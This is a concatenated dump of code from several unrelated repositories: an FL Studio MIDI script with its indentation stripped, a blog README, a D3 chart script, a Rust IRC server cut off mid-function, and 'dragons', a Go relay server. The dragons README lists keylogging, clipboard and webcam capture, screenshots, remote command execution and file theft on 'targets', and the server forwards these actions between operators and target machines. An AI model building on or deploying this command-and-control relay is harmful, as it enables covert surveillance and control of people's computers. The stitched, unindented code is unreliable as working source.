callClass = getattr(sys.modules[__name__], actionType)()
func = getattr(callClass, action)
return func(note)
#Handle the incoming MIDI event
def OnMidiMsg(self, event):
global shiftModifier
print ("controller mode: " + str(controllerMode))
print("MIDI data: " + str("data1: " + str(event.data1) + " data2: " + str(event.data2) + " midiChan: " +str(event.midiChan) + " midiID: " + str(event.midiId)))
print("midi property test:" + str(midi.MIDI_NOTEOFF))
if (event.midiChan == 0 and event.pmeFlags and midi.PME_System != 0): # MidiChan == 0 --> To not interfere with notes played on the keybed
noteFuncList = self.noteDict(event.data1)
for noteFunc in noteFuncList:
actionType = noteFunc[0]
action = noteFunc[1]
if (noteFunc[0] == "notHandled" and event.data1 != shiftButton and controllerMode != ctrlUser):
event.handled = True
elif (event.midiId == midi.MIDI_NOTEOFF):
event.handled = True
if (event.data1 == shiftButton):
shiftModifier = 0
elif (actionType == "ReleaseAction" and shiftModifier == 0):
self.callAction(actionType, action, event.data1)
event.handled = True
elif (event.midiId == midi.MIDI_NOTEON):
event.handled = True
if (event.data1 == shiftButton):
shiftModifier = 1
print ("shiftmodifier on " + str(shiftModifier))
if (actionType == "ShiftAction" and shiftModifier == 1):
self.callAction(actionType, action, event.data1)
elif (actionType == "GlobalAction" and shiftModifier == 0):
self.callAction(actionType, action, event.data1)
elif (actionType == "TransportAction" and controllerMode == ctrlTransport and shiftModifier == 0):
self.callAction(actionType, action, event.data1)
elif (actionType == "MixerAction" and controllerMode == ctrlMixer and shiftModifier == 0):
self.callAction(actionType, action, event.data1)
elif (controllerMode == ctrlUser and event.data1 != shiftButton):
event.handled = False
#Handle action that use the shift modifier
class ShiftAction():
def setTransportMode(self, note):
self.changeMode(ctrlTransport, note)
print("Transport Mode set")
def setMixerMode(self, note):
self.changeMode(ctrlMixer, note)
print("Mixer Mode set")
def setBrowserMode(self, note):
self.changeMode(ctrlBrowser, note)
print("Browser Mode set")
def setPatternMode(self, note):
self.changeMode(ctrlPattern, note)
print("Pattern Mode set")
def setPlayListMode(self, note):
self.changeMode(ctrlPlaylist, note)
print("PlayList Mode set")
def setUserMode(self, note):
self.changeMode(ctrlUser, note)
print("User Mode set")
def changeMode(self, ctrlMode, note):
global controllerMode
ledCtrl = LedControl()
ledCtrl.killAllLights()
controllerMode = ctrlMode
ledCtrl.setLedMono(note, False)
#Handle actions that trigger on button release
class ReleaseAction():
def releaseFastForward(self, note):
if (controllerMode == ctrlTransport):
transport.fastForward(0)
ledCtrl = LedControl()
ledCtrl.setLedOff(note)
print ("fastForward off")
def releaseRewind(self, note):
if (controllerMode == ctrlTransport):
transport.rewind(0)
ledCtrl = LedControl()
ledCtrl.setLedOff(note)
print ("rewind off")
#Handle actions that will be independent of selected mode.
class GlobalAction():
def togglePlay(self, note):
print("isPlaying: " + str(transport.isPlaying()))
if (transport.isPlaying() == 0):
transport.start()
print("Starting Playback")
elif (transport.isPlaying() == 1):
transport.stop()
print("Stopping Playback")
def toggleRecord(self, note):
if (transport.isPlaying() == 0): # Only enable recording if not already playing
transport.record()
print("Toggle recording")
#Handle actions that work in Transport Control ControllerMode
class TransportAction():
def toggleLoopMode(self, note):
if (transport.isPlaying() == 0): #Only toggle loop mode if not already playing
transport.setLoopMode()
print("Song/Pattern Mode toggled")
def pressFastForward(self, note):
transport.fastForward(2)
ledCtrl = LedControl()
ledCtrl.setLedMono(note, False)
print ("fastForward on")
def pressRewind(self, note):
transport.rewind(2)
ledCtrl = LedControl()
ledCtrl.setLedMono(note, False)
print ("rewind on")
#Set them LEDs
class LedControl():
def __init__(self):
colorCode = 0
def setLedMono(self, note, blink):
if ((64 <= note <= 71) or (82 <= note <= 86)): # 64 to 71: buttons under grid, 82 to 86: buttons to the right of grid.
if (blink == True):
colorCode = 2
else:
colorCode = 1
self.sendMidiCommand(note, colorCode)
def setLedColor(self, note, color, blink):
if (note <= 39): #only 8x5 grid is multicolor, which are mapped to midi notes 0 to 39
if (blink == True):
colorCode = color + 1
else:
colorCode = color
print ("LED on for note: " + str(note) + " colorCode: " + str(colorCode))
self.sendMidiCommand(note, colorCode)
def setLedOff(self, note):
self.sendMidiCommand(note, 0)
def killRightSideLights(self):
for i in range(82, 87):
self.setLedOff(i)
def killUnderLights(self):
for i in range(64, 72):
self.setLedOff(i)
def killGridLights(self):
for i in range(40):
self.setLedOff(i)
def killAllLights(self):
self.killRightSideLights()
self.killGridLights()
self.killUnderLights()
def sendMidiCommand(self, note, colorCode):
device.midiOutMsg(midi.MIDI_NOTEON + (note << 8) + (colorCode << 16))
MidiIn = MidiInHandler()
start = InitClass()
def OnMidiMsg(event):
MidiIn.OnMidiMsg(event)
def OnInit():
start.startTheShow()
def OnDeInit():
ledCtrl = LedControl()
ledCtrl.killAllLights() | bf611cf0f203e94199a86c373bf2dba613bc6450 | [
"Markdown",
"Python"
] | 2 | Markdown | CarlosM1106/FLSKEY25 | b323a68be627f3bb39ee39ac2b6be4aa364ff3f2 | 1aa388fc45caed14b157369ad9ba8e7395e4c038 |
refs/heads/main | <repo_name>PritamTalukdar/SeniorSocietyBlog<file_sep>/README.md
# SeniorSocietyBlog
This project is for a senior society from Kahilipara, Guwahati(India). Includes Welcome page, a Blog, gallery, Contact Info pages. The welcome page UX is a touch of my own imagination. Blog is taken from Material UI.
| 245f8e25f8714f16bbf28bb2792461aa170739cc | [
"Markdown"
] | 1 | Markdown | PritamTalukdar/SeniorSocietyBlog | f59a6f453533a3fb1d6261623c41124686e83144 | 69787465eb96458e3a2a7f6746112772a6c30209 |
refs/heads/master | <file_sep>var svgWidth = 960;
var svgHeight = 600;
var margin = {
top: 20,
right: 40,
bottom: 80,
left: 100
};
var width = svgWidth - margin.left - margin.right;
var height = svgHeight - margin.top - margin.bottom;
// Create an SVG wrapper, append an SVG group that will hold our chart,
// and shift the latter by left and top margins.
var svg = d3
.select("#scatter")
.append("svg")
.attr("width", svgWidth)
.attr("height", svgHeight);
// Append an SVG group
var chartGroup = svg.append("g")
.attr("transform", `translate(${margin.left}, ${margin.top})`);
var chosenXAxis = "age";
var chosenYAxis = "smokes";
// function used for updating x-scale var upon click on axis label
function xScale(smokesData, chosenXAxis) {
// create scales
var xLinearScale = d3.scaleLinear()
.domain([d3.min(smokesData, d => d[chosenXAxis]-1),
d3.max(smokesData, d => d[chosenXAxis])
])
.range([0, width]);
return xLinearScale;
}
// function used for updating xAxis var upon click on axis label
function renderXAxis(newXScale, xAxis) {
var bottomAxis = d3.axisBottom(newXScale);
xAxis.transition()
.duration(1000)
.call(bottomAxis);
return xAxis;
}
// function used for updating y-scale var upon click on axis label
function yScale(smokesData, chosenYAxis) {
// create scales
var yLinearScale = d3.scaleLinear()
.domain([d3.min(smokesData, d => d[chosenYAxis]-1) * 0.8,
d3.max(smokesData, d => d[chosenYAxis]) * 1.2
])
.range([height, 0]);
return yLinearScale;
}
// function used for updating yAxis var upon click on axis label
function renderYAxis(newYScale, yAxis) {
var leftAxis = d3.axisLeft(newYScale);
yAxis.transition()
.duration(1000)
.call(leftAxis);
return yAxis;
}
// function used for updating circles group with a transition to new circles for xAxis
function renderCircles (circlesGroup, newXScale, chosenXAxis, newYScale, chosenYAxis) {
circlesGroup.transition()
.duration(1000)
.attr("cx", d => newXScale(d[chosenXAxis]))
.attr("cy", d => newYScale(d[chosenYAxis]));
return circlesGroup;
}
function renderText(textValues, newXScale, chosenXAxis, newYScale, chosenYAxis) {
textValues.transition()
.duration(1000)
.attr("x", d => (newXScale(d[chosenXAxis])))
.attr("y", d => (newYScale(d[chosenYAxis])));
return textValues;
}
// function used for updating circles group with new tooltip
function updateToolTip(chosenXAxis, chosenYAxis, textValues) {
if (chosenXAxis === "age") {
var labelX = "Age:";
}
else {
var labelX = "Household income:";
}
if (chosenYAxis === "smokes") {
var labelY = "Smokes:";
}
else {
var labelY = "Poverty:";
}
var toolTip = d3.tip()
// .attr("class", "tooltip")
.attr("class", "d3-tip")
.offset([40,-60])
.html(function(d) {
return (`${d.state}<br>${labelX} ${d[chosenXAxis]}<br>${labelY} ${d[chosenYAxis]}`);
});
svg.call(toolTip);
textValues.on("mouseover", function(data) {
toolTip.show(data, this);
})
// onmouseout event
.on("mouseout", function(data) {
toolTip.hide(data);
});
return textValues;
}
// Retrieve data from the CSV file and execute everything below
d3.csv("D3_data_journalism/data/data.csv").then( function(smokesData, err) {
if (err) throw err;
console.log(smokesData)
// parse data
smokesData.forEach(function(data) {
data.age = +data.age;
data.smokes = +data.smokes;
data.income = +data.income;
data.poverty = +data.poverty
});
// Create x scale and y scale functions from above csv import
var xLinearScale = xScale(smokesData, chosenXAxis);
var yLinearScale = yScale(smokesData, chosenYAxis);
// Create initial axis functions
var bottomAxis = d3.axisBottom(xLinearScale);
var leftAxis = d3.axisLeft(yLinearScale);
// append x axis
var xAxis = chartGroup.append("g")
.classed("x-axis", true)
.attr("transform", `translate(0, ${height})`)
.call(bottomAxis);
// append y axis
var yAxis = chartGroup.append("g")
.classed("y-axis", true)
.call(leftAxis);
// append initial circles and circle attributes
var circlesGroup = chartGroup.selectAll("circle")
.data(smokesData)
.enter()
.append("circle")
.attr("cx", d => xLinearScale(d[chosenXAxis]))
.attr("cy", d => yLinearScale(d[chosenYAxis]))
.attr("r", 10)
.attr("fill", "skyblue")
.attr("stroke", "skyblue")
.attr("stroke-width", "1")
.attr("fill-opacity", ".4");
//Add Text Element for circles
var textValues = chartGroup.selectAll(null)
.data(smokesData)
.enter()
.append('text');
textValues
.attr("x", d => xLinearScale(d[chosenXAxis]))
.attr("y", d => yLinearScale(d[chosenYAxis]))
.text(d =>d.abbr)
.attr('fill', 'black')
.attr('font-family','sans-sefir')
.attr('font-size', '10px')
.attr('text-anchor', 'middle')
// Create group for 2 x- axis labels
var xlabelsGroup = chartGroup.append("g")
.attr("transform", `translate(${width / 2}, ${height + 20})`);
var agesLabel = xlabelsGroup.append("text")
.attr("x", 0)
.attr("y", 20)
.attr("value", "age") // value to grab for event listener
.classed("active", true)
.text("Age");
var householdIncomeLabel = xlabelsGroup.append("text")
.attr("x", 0)
.attr("y", 40)
.attr("value", "income") // value to grab for event listener
.classed("inactive", true)
.text("Household income");
// Create group for 2 y- axis labels
var ylabelsGroup = chartGroup.append("g")
.attr("transform", `translate(${width / 2}, ${height + 20})`);
var smokesLabel = ylabelsGroup.append("text")
.attr("y", -480)
.attr("x", 250)
.attr("transform", "rotate(-90)")
.attr("value", "smokes") // value to grab for event listener
.classed("active", true)
.text("Smokes (%)");
var povertyLabel = ylabelsGroup.append("text")
.attr("y", -460)
.attr("x", 250)
.attr("transform", "rotate(-90)")
.attr("value", "poverty") // value to grab for event listener
.classed("inactive", true)
.text("Poverty(%)");
// updateToolTip function above csv import
var circlesGroup = updateToolTip(chosenXAxis, chosenYAxis, circlesGroup);
// x axis labels event listener
xlabelsGroup.selectAll("text")
.on("click", function() {
// get value of selection
var value = d3.select(this).attr("value");
if (value !== chosenXAxis) {
// replaces chosenXAxis with value
chosenXAxis = value;
console.log(chosenXAxis)
// functions here found above csv import
// updates x scale for new data
xLinearScale = xScale(smokesData, chosenXAxis);
// updates x axis with transition
xAxis = renderXAxis(xLinearScale, xAxis);
// updates circles with new x values
circlesGroup = renderCircles(circlesGroup, xLinearScale, chosenXAxis, yLinearScale, chosenYAxis);
textValues = renderText(textValues, xLinearScale, chosenXAxis, yLinearScale, chosenYAxis);
// updates tooltips with new info
textValues = updateToolTip(chosenXAxis, chosenYAxis, textValues);
// changes classes to change bold text
if (chosenXAxis === "income") {
householdIncomeLabel
.classed("active", true)
.classed("inactive", false);
agesLabel
.classed("active", false)
.classed("inactive", true);
}
else {
householdIncomeLabel
.classed("active", false)
.classed("inactive", true);
agesLabel
.classed("active", true)
.classed("inactive", false);
}
}
});
// y axis labels event listener
ylabelsGroup.selectAll("text")
.on("click", function() {
// get value of selection
var yvalue = d3.select(this).attr("value");
if (yvalue !== chosenYAxis) {
// replaces chosenXAxis with value
chosenYAxis = yvalue;
// console.log(chosenXAxis)
// functions here found above csv import
// updates x scale for new data
yLinearScale = yScale(smokesData, chosenYAxis);
// updates x axis with transition
yAxis = renderYAxis(yLinearScale, yAxis);
// updates circles with new x values
circlesGroup = renderCircles(circlesGroup, xLinearScale, chosenXAxis, yLinearScale, chosenYAxis);
textValues = renderText(textValues, xLinearScale, chosenXAxis, yLinearScale, chosenYAxis);
// updates tooltips with new info
textValues = updateToolTip(chosenXAxis, chosenYAxis, textValues);
// changes classes to change bold text
if (chosenYAxis === "poverty") {
povertyLabel
.classed("active", true)
.classed("inactive", false);
smokesLabel
.classed("active", false)
.classed("inactive", true);
}
else {
povertyLabel
.classed("active", false)
.classed("inactive", true);
smokesLabel
.classed("active", true)
.classed("inactive", false);
}
}
});
});
| eef0356a13fa7a1897c755f810bfeadb4e113723 | [
"JavaScript"
] | 1 | JavaScript | datamoa/D3-challenge | bf100bc77dfcb4b316e6d2749d862811db266eef | cee7d4d115c7c413c06cd8e73375b602685a3e4b |
refs/heads/master | <repo_name>d0minikt/dragons<file_sep>/client/src/models/ExecResponse.ts
export default interface ExecResponse {
command: string;
output: string[];
success: boolean;
}
<file_sep>/lib/directory.go
package lib
import (
"io/ioutil"
"os"
)
func GetFileType(file os.FileInfo) string {
if file.Name() == "\\" {
return "ROOT"
}
if file.IsDir() {
return "DIR"
}
return "FILE"
}
func GetDirectoryFiles(path string) ([]FileInfo, error) {
rawFiles, err := ioutil.ReadDir(path)
files := []FileInfo{}
if err != nil {
return []FileInfo{}, err
}
for _, f := range rawFiles {
files = append(files, FileInfo{
Name: f.Name(),
Type: GetFileType(f),
})
}
return files, nil
}
func GetDirectory(path string) (DirectoryInfo, error) {
f, err := os.Stat(path)
if err != nil {
return DirectoryInfo{}, err
}
files, err := GetDirectoryFiles(path)
if err != nil {
return DirectoryInfo{}, err
}
return DirectoryInfo{
Path: path,
Type: GetFileType(f),
Drives: []string{"C"},
Files: files,
}, nil
}
<file_sep>/lib/actions.go
package lib
type Action struct {
Type string `json:"type"`
}
type DataAction struct {
Type string `json:"type"`
Payload Data `json:"payload"`
}
type Data struct {
Targets []string `json:"targets"`
}
type ConnectTargetAction struct {
Type string `json:"type"`
Payload TargetDetails `json:"payload"`
}
type StringAction struct {
Type string `json:"type"`
Payload string `json:"payload"`
}
type SendAction struct {
Type string `json:"type"`
Payload map[string]string `json:"payload"`
To string `json:"to"`
}
type SentFromClientAction struct {
Type string `json:"type"`
Payload string `json:"payload"`
From string `json:"from"`
}
type QueryAction struct {
Type string `json:"type"`
Payload interface{} `json:"payload"`
To string `json:"to"`
From string `json:"from"`
}
type TargetConnectedAction struct {
Type string `json:"type"`
Payload TargetDetails `json:"payload"`
Key string `json:"key"`
}
<file_sep>/README.md
# Dragons
## Actions
Here is a list of actions / request types that are supported by the client. As the server is just be a simple framework allowing clients and targets to communicate with each other, each one of those features only need to be implemented by the client and the target. The following table only shows whether the feature has been implemented on the client, the built-in Go-based target is not included in the following table.
| Implemented? | Type | Description |
| ------------ | ------------------------- | -------------------------------------------------------------------- |
| ✅ | **DUMP_CLIPBOARD_LOG** | Dump the clipboard log |
| ✅ | **DUMP_KEY_LOG** | Dump key log |
| ⬜️ | **DUMP_WINDOW_LOG** | Window logger |
| ✅ | **EXEC** | Shell session executes a (powershell) command |
| ✅ | **FILE** | Receive file from client/target |
| ✅ | **FORCE_RESET** | Forces the target to do a hard reset of the target's dragons service |
| ⬜️ | **GET_VOLUME** | Get audio volume |
| ✅ | **LS** | List files and directories in a given directory |
| ⬜️ | **NOTIFY** | Display a notification to the user |
| ⬜️ | **PLAY_AUDIO_FILE** | Play audio from target's local file |
| ⬜️ | **PLAY_AUDIO** | Send audio file and play it |
| ⬜️ | **RECORD_AUDIO_START** | Play audio |
| ⬜️ | **RECORD_AUDIO_END** | Stop recording audio,save it in a file and upload it |
| ⬜️ | **RECORD_AUDIO_DURATION** | Equivalent of RECORD_AUDIO_START, sleep x seconds, RECORD_AUDIO_END |
| ✅ | **REQUEST_FILE** | Requests file at a given path to be uploaded to server |
| ⬜️ | **RUN_EXECUTABLE** | Run executable on the target |
| ⬜️ | **SET_VOLUME** | Set audio volume |
| ✅ | **SCREENSHOT** | Screenshot a screen |
| ✅ | **WEBCAM_SNAP** | Snap a picture of the webcam |
| ⬜️ | **WRITE_CLIPBOARD_TEXT** | Write string to clipboard |
| ⬜️ | **WRITE_CLIPBOARD_IMAGE** | Send image to clipboard |
## This repo contains:
- an implementation of the **server** for the dragons infrastructure, built with Go.
- an implementation of the **client** that allows the user to interface with the framework, built with React and Typescript.
## This repo is not:
- malware. The only purpose of this is to provide penetration testers with a well built core framework they can use.
## Flow
```
(T) -> (S) CONNECT_TARGET / DISCONNECT
|
____|_____ UPDATE_STATE
| | |
(C) (C) (C)
(C) -> (S) CONNECT_CLIENT - (C) will now listen for and receive UPDATE_STATE events
(C) -> (S) CONNECT_TO_TARGET(targetID) - If possible, devices will be connected and all their events will be passed through to each other
(C/T) -> (S) DISCONNECT - clear the connections / associations that involve the (C/T). Delete that (C/T) from the map, we don't need to keep track of terminated communications.
(C) <-> (S) <-> (T) - ACTION, action usually started by (C) will go to the server and be passed through to (T) and the response, if there is any, will go back to (S) and be passed through to (C).
```
## Other Considerations
### Direct Peer-to-peer connection
Originally, I planned implementing [UDP hole punching](https://en.wikipedia.org/wiki/UDP_hole_punching) which would allow sending
messages directly between target and client in order to avoid that load on the server, especially on more bandwidth-heavy
real-time uses such as live screen video feed. This however wasn't an option if I wanted to use a web client. Only alternative would
be [WebRTC data channels](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Using_data_channels) which on the other hand
doesn't have a great implementation for languages other than JS and even on the web it's only a draft at the moment. Final reason not
to use this is heavy bandwidth usage which might be noticed by the target / target's antivirus, so I decided to leave out the streaming
feature completely, but I might decide to test it out and see whether it's detectable.
<file_sep>/client/src/services/encoding.ts
export const downloadBytes = (data: Uint8Array[], name: string) => {
const a = document.createElement("a");
document.body.appendChild(a);
a.style.display = "none";
const blob = new Blob(data, { type: "octet/stream" });
const url = URL.createObjectURL(blob);
a.href = url;
a.download = name;
a.click();
URL.revokeObjectURL(url);
};
export const base64ToBytes = (base64: string) => {
const binaryStr = atob(base64);
const bytes = new Uint8Array(binaryStr.length);
for (let i = 0; i < binaryStr.length; i++) {
bytes[i] = binaryStr.charCodeAt(i);
}
return bytes;
};
<file_sep>/client/tailwind.js
module.exports = {
theme: {
fontFamily: {
display: ["Major Mono Display", "monospace"],
mono: ["Roboto Mono", "monospace"]
},
extend: {
colors: {
clay: {
"100": "var(--clay-100)",
"400": "var(--clay-400)",
"500": "var(--clay-500)",
"900": "var(--clay-900)",
"950": "var(--clay-950)"
}
}
}
},
variants: {},
plugins: []
};
<file_sep>/Dockerfile
FROM heroku/heroku:16-build as build
COPY . /app
# NOT sure if this works
# WORKDIR /app/client
# RUN npm install
# COPY . ./app/client
# CMD [ "npm", "run", "build" ]
# COPY . ./app/client
WORKDIR /app
# Setup buildpack
RUN mkdir -p /tmp/buildpack/heroku/go /tmp/build_cache /tmp/env
RUN curl https://codon-buildpacks.s3.amazonaws.com/buildpacks/heroku/go.tgz | tar xz -C /tmp/buildpack/heroku/go
#Execute Buildpack
RUN STACK=heroku-16 /tmp/buildpack/heroku/go/bin/compile /app /tmp/build_cache /tmp/env
# Prepare final, minimal image
FROM heroku/heroku:16
COPY --from=build /app /app
ENV HOME /app
WORKDIR /app
RUN useradd -m heroku
USER heroku
CMD /app/bin/dragons<file_sep>/client/src/models/FileOrDirectory.ts
export default interface FileOrDirectory {
name: string;
isFile: boolean;
}
<file_sep>/go.mod
module github.com/d0minikt/dragons
go 1.12
require (
github.com/gorilla/websocket v0.0.0-20181206070239-95ba29eb981b
github.com/orcaman/concurrent-map v0.0.0-20190314100340-2693aad1ed75
)
<file_sep>/main.go
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"io/ioutil"
"log"
"net/http"
"os"
"path"
"strings"
"github.com/gorilla/websocket"
cmap "github.com/orcaman/concurrent-map"
)
// RandomHex generates a random hex string
func RandomHex(n int) (string, error) {
bytes := make([]byte, n)
if _, err := rand.Read(bytes); err != nil {
return "", err
}
return hex.EncodeToString(bytes), nil
}
var upgrader = websocket.Upgrader{
// allow cross-origin
CheckOrigin: func(r *http.Request) bool { return true },
}
// Client struct
type Client struct {
Socket *websocket.Conn
Target string
}
// Target struct
type Target struct {
Socket *websocket.Conn
Client string
DeviceInfo DeviceInfo
}
// StateAction action
type StateAction struct {
Type string `json:"type"`
Payload State `json:"payload"`
}
// State struct
type State struct {
Targets []string `json:"targets"`
Clients []string `json:"clients"`
}
// Action struct
type Action struct {
Type string `json:"type"`
Payload string `json:"payload"`
}
// LoginDetails used to Connect to target
type LoginDetails struct {
ID string `json:"id"`
Password string `json:"<PASSWORD>"`
}
// ConnectToTargetAction used as CONNECT_TO_TARGET
type ConnectToTargetAction struct {
Type string `json:"type"`
Payload LoginDetails `json:"payload"`
}
// ConnectTarget used as CONNECT_TARGET
type ConnectTargetAction struct {
Type string `json:"type"`
Payload DeviceInfo `json:"payload"`
}
type DeviceInfo struct {
Password string `json:"<PASSWORD>"`
Name string `json:"name"`
LocalIP string `json:"localIp"`
IP string `json:"ip"`
Features []string `json:"features"`
}
var clients = cmap.New()
var targets = cmap.New()
func CreateIdentifier(name string) string {
if _, ok := targets.Get(name); !ok {
return name
}
id := name
if _, ok := targets.Get(name); ok {
hex, _ := RandomHex(4)
id = name + " #" + hex
}
return id
}
func printCount() {
c := len(clients.Keys())
t := len(targets.Keys())
log.Println("CLIENTS: ", c, "TARGETS: ", t)
}
func notifyClient(ws websocket.Conn) {
ws.WriteJSON(StateAction{
Type: "UPDATE_STATE",
Payload: State{
Targets: targets.Keys(),
Clients: clients.Keys(),
},
})
}
func notifyClients() {
for _, key := range clients.Keys() {
raw, ok := clients.Get(key)
if ok {
client := raw.(Client)
if client.Socket != nil {
notifyClient(*client.Socket)
}
}
}
}
func handleWsConnection(w http.ResponseWriter, r *http.Request) {
ws, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Print("Upgrade: ", err)
return
}
defer ws.Close()
// init connection
var id string
var isTarget bool
for {
// read message
msgType, message, err := ws.ReadMessage()
// handle user disconnect
if err != nil {
if len(id) > 0 {
if target, ok := targets.Get(id); ok && isTarget {
clientID := (target.(Target)).Client
if len(clientID) > 0 {
c, _ := clients.Get(clientID)
clients.Set(clientID, Client{
Socket: c.(Client).Socket,
})
}
targets.Remove(id)
} else if client, ok := clients.Get(id); ok && !isTarget {
targetID := client.(Client).Target
if len(targetID) > 0 {
t, _ := targets.Get(targetID)
targets.Set(targetID, Target{
Socket: t.(Target).Socket,
DeviceInfo: t.(Target).DeviceInfo,
})
}
clients.Remove(id)
}
notifyClients()
printCount()
}
break
}
action := Action{}
json.Unmarshal(message, &action)
switch action.Type {
case "CONNECT_TARGET":
connectTargetAction := ConnectTargetAction{}
json.Unmarshal(message, &connectTargetAction)
isTarget = true
id = CreateIdentifier(connectTargetAction.Payload.Name)
info := connectTargetAction.Payload
targets.Set(id, Target{
Socket: ws,
DeviceInfo: DeviceInfo{
Password: <PASSWORD>.Password,
Name: id,
LocalIP: info.LocalIP,
IP: r.RemoteAddr[0:strings.LastIndex(r.RemoteAddr, ":")],
Features: info.Features,
},
})
notifyClients()
printCount()
case "CONNECT_CLIENT":
isTarget = false
id, _ = RandomHex(10)
clients.Set(id, Client{
Socket: ws,
})
notifyClients()
printCount()
case "CONNECT_TO_TARGET":
loginAction := ConnectToTargetAction{}
json.Unmarshal(message, &loginAction)
if targetRaw, ok := targets.Get(loginAction.Payload.ID); ok {
target := targetRaw.(Target)
passwordsMatch := loginAction.Payload.Password == target.DeviceInfo.Password
if !passwordsMatch {
ws.WriteJSON(Action{
Type: "TARGET_DISCONNECTED",
})
} else {
// override currently connected client
if len(target.Client) > 0 {
if client, ok := clients.Get(target.Client); ok {
client.(Client).Socket.WriteJSON(Action{
Type: "TARGET_DISCONNECTED",
})
}
}
c, _ := clients.Get(id)
clients.Set(id, Client{
Socket: c.(Client).Socket,
Target: loginAction.Payload.ID,
})
t, _ := targets.Get(loginAction.Payload.ID)
targets.Set(loginAction.Payload.ID, Target{
Socket: t.(Target).Socket,
DeviceInfo: t.(Target).DeviceInfo,
Client: id,
})
target.Socket.WriteJSON(Action{
Type: "CONNECT_TO_TARGET",
})
ws.WriteJSON(ConnectTargetAction{
Type: "TARGET_CONNECTED",
Payload: target.DeviceInfo,
})
}
}
default:
log.Println(action.Type)
if isTarget {
t, _ := targets.Get(id)
clientID := t.(Target).Client
if client, ok := clients.Get(clientID); ok {
client.(Client).Socket.WriteMessage(msgType, message)
}
} else {
c, _ := clients.Get(id)
targetID := c.(Client).Target
if target, ok := targets.Get(targetID); ok {
target.(Target).Socket.WriteMessage(msgType, message)
}
}
}
}
}
func main() {
port := os.Getenv("PORT")
if len(port) == 0 {
port = "80"
}
addr := ("0.0.0.0:" + port)
http.HandleFunc("/v1", handleWsConnection)
files, _ := ioutil.ReadDir("./client")
log.Println(files)
wd, _ := os.Getwd()
dir := path.Join(wd, "/client/build/")
fs := http.FileServer(http.Dir(dir))
http.Handle("/", fs)
log.Fatal(http.ListenAndServe(addr, nil))
}
<file_sep>/lib/models.go
package lib
import (
"github.com/gorilla/websocket"
)
// Client struct
type Client struct {
Socket *websocket.Conn
}
// Target struct
type Target struct {
Socket *websocket.Conn
Details TargetDetails
}
// TargetDetails contains all the information about a client
type TargetDetails struct {
Net TargetNetDetails `json:"net"`
Wifi map[string]string `json:"wifi"`
Hardware HardwareInfo `json:"hardware"`
Keylog []string `json:"keylog"`
Applog []string `json:"applog"`
Clipboardlog []string `json:"clipboardLog"`
Directory DirectoryInfo `json:"directoryInfo"`
}
// DirectoryInfo contains information about the currently selected directory
type DirectoryInfo struct {
Path string `json:"path"`
Type string `json:"type"`
Drives []string `json:"drives"`
Files []FileInfo `json:"files"`
}
// FileInfo stores information about a file
type FileInfo struct {
Name string `json:"name"`
Type string `json:"type"`
}
// TargetNetDetails stores network information about a target
type TargetNetDetails struct {
Hostname string `json:"host"`
PrivateIP string `json:"privateIP"`
PublicIP string `json:"publicIP"`
}
// HardwareInfo stores information about the target's hardware
type HardwareInfo struct {
CPU string `json:"cpu"`
}
type Log struct {
Keylog []string `json:"keylog"`
Applog []string `json:"applog"`
Clipboardlog []string `json:"clipboardLog"`
}
| 5b3a9a7cd5e7bf91b18e78568f7e5c8d2cc62ed5 | [
"Markdown",
"JavaScript",
"Go Module",
"TypeScript",
"Go",
"Dockerfile"
] | 11 | TypeScript | d0minikt/dragons | 7a251f56d84cc41096919f322f736ab27beabdb9 | 82c940f134e7e69e33275556957b34843780f6e0 |
refs/heads/master | <repo_name>JohnMaguire/ircd<file_sep>/src/main.rs
use std::convert::TryFrom;
use std::io::{BufRead, BufReader, Write};
use std::net::{Ipv4Addr, SocketAddrV4, TcpListener};
mod config;
mod structs;
fn main() -> Result<(), Box<dyn std::error::Error>> {
// read config
let config = config::get_config("./config.toml")?;
// listen for connection on 127.0.0.1:6667
let socket = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 6667);
let listener = TcpListener::bind(socket)?;
println!("Listening on 127.0.0.1:6667");
let (mut tcp_stream, addr) = listener.accept()?; // blocks until connection
println!("Connection from {:?}", addr);
let read_stream = tcp_stream.try_clone()?;
let reader = BufReader::new(read_stream);
let lines = reader.lines();
for line in lines {
// translate to internal irc message struct
let line = line.unwrap();
let irc_message = structs::IrcMessage::try_from(line.as_str())?;
// decide whether to generate a reply
let mut replies: Vec<structs::Reply> = vec![];
match irc_message.to_command() {
Ok(command) => {
println!("{:?} -> {:?}", irc_message, command);
match command {
structs::Command::USER(user, _mode, _unused, _realname) => {
replies.push(structs::Reply::RPL_WELCOME {
nick: "nick".to_owned(),
user: user.to_owned(),
host: "host".to_owned(),
});
replies.push(structs::Reply::RPL_YOURHOST {
nick: "nick".to_owned(),
server_name: config.irc.hostname.clone(),
version: "0.1.0".to_owned(),
});
}
_ => (),
};
}
Err(error) => {
println!("{:?} -> {:?}", irc_message, error);
match error {
structs::ParseError::UnknownCommandError { command } => {
replies.push(structs::Reply::ERR_UNKNOWNCOMMAND { command })
}
structs::ParseError::MissingCommandParameterError {
command,
parameter: _,
index: _,
} => replies.push(structs::Reply::ERR_NEEDMOREPARAMS { command }),
}
}
}
for reply in replies {
tcp_stream.write(reply.as_line().as_bytes())?;
}
}
Ok(())
}
<file_sep>/README.md
# ircd
[](https://github.com/JohnMaguire/ircd/actions)
This is an experimental Rust IRCd. It is far from complete. I am aiming to implement [RFC 1459](https://tools.ietf.org/html/rfc1459), [RFC 2812](https://tools.ietf.org/html/rfc2812), as well as any feasible [IRCv3 specifications](https://ircv3.net/irc/) while learning Rust.
Once an initial implementation is complete, I hope to experiment with new methods of server linking that can reduce netsplits. This project is inspired by [RobustIRC](https://robustirc.net/).
<file_sep>/Cargo.toml
[package]
name = "ircd"
version = "0.1.0"
authors = ["<NAME> <<EMAIL>>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
serde = { version = "1.0", features = ["derive"] }
toml = "0.5.8"
[[bin]]
name = "ircd"
[lib]
name = "ircd"
<file_sep>/src/config.rs
use serde::Deserialize;
use std::fs::read_to_string;
use toml::value::Datetime;
#[derive(Deserialize)]
pub struct Config {
pub irc: Irc,
}
#[derive(Deserialize)]
pub struct Irc {
pub hostname: String,
pub created_at: Datetime,
}
pub fn get_config(path: &str) -> Result<Config, String> {
let toml_config = read_to_string(path).or(Err(format!("Error opening file: {}", path)))?;
let config: Config = toml::from_str(&toml_config)
.or_else(|e| Err(format!("Error deserializing config file: {}", e)))?;
